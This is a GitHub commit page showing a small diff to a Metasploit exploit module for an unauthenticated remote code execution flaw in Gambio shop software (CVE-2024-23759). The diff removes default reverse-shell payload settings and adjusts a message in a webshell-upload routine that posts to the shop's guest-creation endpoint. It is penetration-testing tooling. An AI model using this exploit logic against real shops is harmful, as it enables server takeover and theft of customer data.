Skip to content

Commit 3205fe9

Browse files
authored
Apply suggestions from code review
1 parent 331c961 commit 3205fe9

File tree

1 file changed

+4
-13
lines changed

1 file changed

+4
-13
lines changed

modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb

Lines changed: 4 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -46,21 +46,15 @@ def initialize(info = {})
4646
{
4747
'Platform' => ['php'],
4848
'Arch' => ARCH_PHP,
49-
'Type' => :php,
50-
'DefaultOptions' => {
51-
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
52-
}
49+
'Type' => :php
5350
}
5451
],
5552
[
5653
'Unix Command',
5754
{
5855
'Platform' => ['unix', 'linux'],
5956
'Arch' => ARCH_CMD,
60-
'Type' => :unix_cmd,
61-
'DefaultOptions' => {
62-
'PAYLOAD' => 'cmd/unix/reverse_bash'
63-
}
57+
'Type' => :unix_cmd
6458
}
6559
],
6660
[
@@ -70,10 +64,7 @@ def initialize(info = {})
7064
'Arch' => [ARCH_X64, ARCH_X86],
7165
'Type' => :linux_dropper,
7266
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
73-
'Linemax' => 16384,
74-
'DefaultOptions' => {
75-
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
76-
}
67+
'Linemax' => 16384
7768
}
7869
],
7970
],
@@ -164,7 +155,7 @@ def upload_webshell
164155
unless html.blank?
165156
country_tax_options = html.css('select[@id="country"]')
166157
country_tax_options.css('option').each do |country|
167-
print_status("code: #{country['value']}")
158+
vprint_status("Application's tax country code setting required for exploitation: #{country['value']}")
168159
res = send_request_cgi({
169160
'method' => 'POST',
170161
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'),

0 commit comments

Comments
 (0)